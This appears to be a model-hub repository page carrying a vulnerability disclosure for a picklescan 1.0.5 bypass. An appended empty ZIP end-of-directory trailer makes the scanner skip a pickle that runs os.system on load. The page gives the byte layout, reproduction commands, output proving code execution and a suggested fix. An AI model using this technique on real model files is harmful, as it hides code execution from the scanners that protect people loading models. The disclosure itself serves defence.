You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

picklescan โ‰ค1.0.5 bypass โ€” ZIP End-Of-Central-Directory trailer container-routing confusion

Target: picklescan 1.0.5 (current PyPI release, verified 2026-07-19) Category: picklescan-evasion (scanner-evasion) Impact: A .pkl/.joblib that picklescan reports 100% clean (exit 0, Dangerous globals: 0) executes os.system on pickle.load() / joblib.load().

Root cause

picklescan/scanner.py::scan_bytes() chooses the scan strategy for a .pkl/.joblib via zipfile.is_zipfile(data). is_zipfile() only searches backward from EOF for the ZIP End-Of-Central-Directory signature PK\x05\x06; it never looks at the front of the file.

Appending an empty (0-entry) EOCD record to an ordinary pickle stream makes is_zipfile() return True, so scan_bytes() routes the file into scan_zip_bytes(). scan_zip_bytes() iterates only ZIP members (here: none) and never scans the raw pickle prefix. Report: Scanned files: 0, Dangerous globals: 0, exit 0.

The real loaders read the pickle from offset 0, stop at the STOP opcode, execute the embedded __reduce__ (os.system), and ignore the trailing ZIP bytes.

Layout

[ \x80\x04  ... GLOBAL posix.system ... REDUCE  .  ]  [ PK\x05\x06 + 18x \x00 ]
 ^-- pickle.load / joblib.load execute this --------^  ^-- is_zipfile() sees only this --^

Reproduce

pip install picklescan            # 1.0.5
python gen_poc.py
python -m picklescan -p evil.pkl  # Dangerous globals: 0  -> exit 0 (CLEAN)
python -m picklescan -p control_plain.pkl   # NEGATIVE CONTROL: 'posix system' FOUND
python -c "import pickle; pickle.load(open('evil.pkl','rb'))"   # -> REAL_EXEC_DONE, touch /tmp/PWNED_zipeocd
python -c "import joblib;  joblib.load('evil.joblib')"          # -> REAL_EXEC_DONE

Verified output (captured verbatim, picklescan 1.0.5, joblib 1.5.2, 2026-07-19)

$ python -m picklescan -p evil.pkl
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Suspicious globals: 0
Dangerous globals: 0
exit=0

$ python -m picklescan -p control_plain.pkl        # NEGATIVE CONTROL (same pickle, no trailer)
.../control_plain.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Suspicious globals: 0
Dangerous globals: 1
exit=0

$ python -c "import zipfile; print(zipfile.is_zipfile('evil.pkl'), zipfile.is_zipfile('evil.joblib'))"
True True

$ python -c "import pickle; pickle.load(open('evil.pkl','rb'))"
REAL_EXEC_DONE
$ ls -l /tmp/PWNED_zipeocd
-rw-rw-r-- 1 kali kali 0 ... /tmp/PWNED_zipeocd

$ python -c "import joblib; joblib.load('evil.joblib')"   # joblib 1.5.2
REAL_EXEC_DONE

Scanner API (picklescan.scanner.scan_file_path)

evil.pkl          -> globals=[]                                        issues=0 infected=0 scan_err=False
control_plain.pkl -> globals=[Global('posix','system',Dangerous)]      issues=1 infected=1 scan_err=False

Distinctness

Structurally distinct from opcode/global/memo/int-divergence gadgets: this abuses the container-detection routing (zipfile.is_zipfile EOCD false-positive on a pickle) so the pickle prefix is never scanned as a pickle. No dangerous global ever reaches the classifier.

Fix suggestion

Before trusting is_zipfile(), also scan the leading bytes as a pickle when the first bytes match a pickle PROTO opcode (\x80\x00..\x80\x05) or a proto-0 opcode, or require the ZIP central directory to actually contain entries / cover the whole file.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support